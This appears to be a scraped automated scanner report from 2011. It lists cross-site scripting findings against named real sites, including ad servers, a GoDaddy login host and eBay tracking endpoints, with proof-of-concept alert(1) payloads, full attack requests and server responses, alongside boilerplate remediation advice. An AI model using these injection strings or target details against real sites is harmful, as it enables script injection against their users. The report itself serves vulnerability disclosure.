The value of the vuid cookie submitted to the URL /chat_init.js is copied into the HTML document as plain text between tags at the URL /chat_init.js. The payload 26902<script>alert(1)</script>e2b4dabe39a was submitted in the vuid cookie. This input was returned unmodified in a subsequent request for the URL /chat_init.js.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Issue background
Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.
The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.
Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).
Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.
Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 34dac'-alert(1)-'805d0111dab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Fri, 16 Sep 2011 16:30:30 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:30 GMT Content-Length: 567
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77b5c'-alert(1)-'c1bc23b80c2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Fri, 16 Sep 2011 16:30:31 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:31 GMT Content-Length: 567
The value of the cmn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3899c'-alert(1)-'8f689636d48 was submitted in the cmn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/1.0.5 Date: Fri, 16 Sep 2011 16:30:30 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:30 GMT Content-Length: 567
2.4. http://a.collective-media.net/adj/ds.home/default [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/ds.home/default
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3ff71'-alert(1)-'ea28fe8c229 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/1.0.5 Date: Fri, 16 Sep 2011 16:30:30 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:30 GMT Content-Length: 570
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3e20'-alert(1)-'8c1518f6d09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Fri, 16 Sep 2011 16:30:32 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 8061
var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("wfm-30121707243_1316190632","http://ad.doubleclick.net/adjb3e20'-alert(1)-'8c1518f6d09/ds.home/default;net=wfm;u=ds,wfm-30121707243_1316190632,121773f9380f32f,dshp,wfm.dshp_h-wfm.health_l-cm.polit_l-cm.health_l;;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;dcop ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da4da'-alert(1)-'89b82744ef9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/1.0.5 Date: Fri, 16 Sep 2011 16:30:33 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 8065
var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("wfm-30519001628_1316190633","http://ad.doubleclick.net/adj/ds.homeda4da'-alert(1)-'89b82744ef9/default;net=wfm;u=ds,wfm-30519001628_1316190633,121773f9380f32f,health,wfm.dshp_h-wfm.health_l-cm.polit_l-cm.health_l;;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;dcopt=ist; ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38ef6'-alert(1)-'c2fc6974a7b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/1.0.5 Date: Fri, 16 Sep 2011 16:30:33 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 8093
var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("wfm-30510327174_1316190633","http://ad.doubleclick.net/adj/ds.home/default38ef6'-alert(1)-'c2fc6974a7b;net=wfm;u=ds,wfm-30510327174_1316190633,121773f9380f32f,health,wfm.dshp_h-wfm.health_m-cm.polit_l-cm.health_l-cm.educat_l;;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;dcopt= ...[SNIP]...
The value of the cmn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61e7d'-alert(1)-'f129e51cc13 was submitted in the cmn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Fri, 16 Sep 2011 16:30:32 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 1949
var cid='121773f9380f32f';var CollectiveMedia={rand:function(a){return Math.floor(Math.random()*a)},appendChild:function(a,b){if(null==a.canHaveChildren||a.canHaveChildren){a.appendChild(document.crea ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("61e7d'-alert(1)-'f129e51cc13-30300231480_1316190632","http://ad.doubleclick.net/adj/ds.home/default;net=61e7d'-alert(1)-'f129e51cc13;u=,61e7d'-alert(1)-'f129e51cc13-30300231480_1316190632,121773f9380f32f,dshp,cm.polit_l-cm.health ...[SNIP]...
The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload d1dc5<script>alert(1)</script>4c4547dbd5e was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the get request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffdf0'%3balert(1)//e383b46113a was submitted in the get parameter. This input was echoed as ffdf0';alert(1)//e383b46113a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the get request parameter is copied into the HTML document as plain text between tags. The payload a5deb<script>alert(1)</script>cbf95be69eb was submitted in the get parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.12. https://login.secureserver.net/js.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://login.secureserver.net
Path:
/js.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56880'-alert(1)-'92e88d0f44b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /js.php?group=main&r=1.34&56880'-alert(1)-'92e88d0f44b=1 HTTP/1.1 Host: login.secureserver.net Connection: keep-alive Referer: https://login.secureserver.net/?app=wbe User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 18:08:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.2 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Thu, 23 Aug 2012 22:35:29 GMT Last-Modified: Wed, 24 Aug 2011 22:35:29 GMT Cache-Control: public, max-age=31536000, post-check=31536000 pre-check=31536000 Pragma: !invalid ETag: js_group_main_c6fc5ed2e22a1730208a6aae8ac0133d Content-Control: cache Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-javascript Content-Length: 50696
The value of the r request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e4ab'-alert(1)-'bd22409da8a was submitted in the r parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /js.php?group=main&r=1.346e4ab'-alert(1)-'bd22409da8a HTTP/1.1 Host: login.secureserver.net Connection: keep-alive Referer: https://login.secureserver.net/?app=wbe User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 18:08:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.2 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 24 Feb 1982 15:42:00 GMT Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-javascript Content-Length: 50693
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 268ae'-alert(1)-'7ee8b452bb0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 RlogId: p4n%60rujfudlwc%3D9vt*ts67.03%3F53%604-132730a3a4a Set-Cookie: npii=btrm/svid%3D646543881975054aada^cguid/62d7951f1320a479e7268c86ff361dd15054aada^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:20:42 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE" Cache-Control: private, no-cache Pragma: no-cache Content-Type: application/x-javascript Content-Length: 205 Date: Fri, 16 Sep 2011 16:20:41 GMT
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6612'%3balert(1)//4069d253df3 was submitted in the mpvc parameter. This input was echoed as d6612';alert(1)//4069d253df3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 RlogId: p4n%60rujfudlwc%3D9un*ts67.17d%3Aa5%3E-132730a22e0 Set-Cookie: npii=btrm/svid%3D646543881975054aad4^cguid/62d7951f1320a479e7268c86ff361dd15054aad4^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:20:36 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE" Cache-Control: private, no-cache Pragma: no-cache Content-Type: text/html Content-Length: 338 Date: Fri, 16 Sep 2011 16:20:36 GMT
2.16. http://rover.ebay.com/ar/1/711-53200-19255-108/1 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://rover.ebay.com
Path:
/ar/1/711-53200-19255-108/1
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4a5a'%3balert(1)//f65caf493c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a4a5a';alert(1)//f65caf493c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 RlogId: p4n%60rujfudlwc%3D9vt*ts67.d3117d7-132730a2a00 Set-Cookie: npii=btrm/svid%3D646543881975054aad6^cguid/62d7951f1320a479e7268c86ff361dd15054aad6^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:20:38 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE" Cache-Control: private, no-cache Pragma: no-cache Content-Type: text/html Content-Length: 347 Date: Fri, 16 Sep 2011 16:20:38 GMT
The value of the k request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80caa"><script>alert(1)</script>1eb42bee5e8 was submitted in the k parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adurl%3D80caa"><script>alert(1)</script>1eb42bee5e8 HTTP/1.1 Host: srv.healthheadlines.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type ...[SNIP]... LmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=80caa"><script>alert(1)</script>1eb42bee5e8http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAANQAAAMgAAAAWAAABhgAAABwAAADBAAAA&b=ZAAAABwAAAP2AAAAIgAAAPcAAAEsAAAAFAAAA8AAAAAaAAABDw%3D%3D&t=0&i=7&r=http%3A%2F%2Fwww.PeakLife.com%2 ...[SNIP]...
2.18. http://srv.healthheadlines.com/s.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://srv.healthheadlines.com
Path:
/s.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad039"><script>alert(1)</script>54339ecbce9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adur/ad039"><script>alert(1)</script>54339ecbce9l%3D HTTP/1.1 Host: srv.healthheadlines.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the p request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd591"%3balert(1)//e15fc9eb3e7 was submitted in the p parameter. This input was echoed as bd591";alert(1)//e15fc9eb3e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, proxy-revalidate Content-Type: text/html Date: Fri, 16 Sep 2011 16:31:00 GMT Expires: Thu, 01 Dec 1994 16:00:00 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Server: TAFE Set-Cookie: tap=3dqWAHaYDci9zJk-EVGLVaaj4nEPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE6dmAAsAAQAAAAI3NQoAAwAAATJzE6dmAAsAAQAAAAI3NAoAAwAAATJzE6dmAAsAAQAAAAMxMDUKAAMAAAEycxOnZgAA; expires=Wed, 14-Mar-2012 16:31:00 GMT; Path=/; Domain=.tellapart.com Content-Length: 4557 Connection: keep-alive
<html><body> <script type="text/javascript"> // Maximum time allowed for pixels to load. var MAX_PIXEL_LOAD_TIME = 3000; // Ensures no more pixels are loaded after MAX_PIXEL_LOAD_TIME by removing src
The value of the url request parameter is copied into the HTML document as plain text between tags. The payload 5851e<script>alert(1)</script>9bc50613a06 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /buttons/count?url=http%3A//thehackernews.com/2011/09/godaddy-websites-compromised-with.html5851e<script>alert(1)</script>9bc50613a06 HTTP/1.1 Host: widgets.digg.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bbc request parameter is copied into the HTML document as plain text between tags. The payload 26123<img%20src%3da%20onerror%3dalert(1)>0030d6232d9 was submitted in the bbc parameter. This input was echoed as 26123<img src=a onerror=alert(1)>0030d6232d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
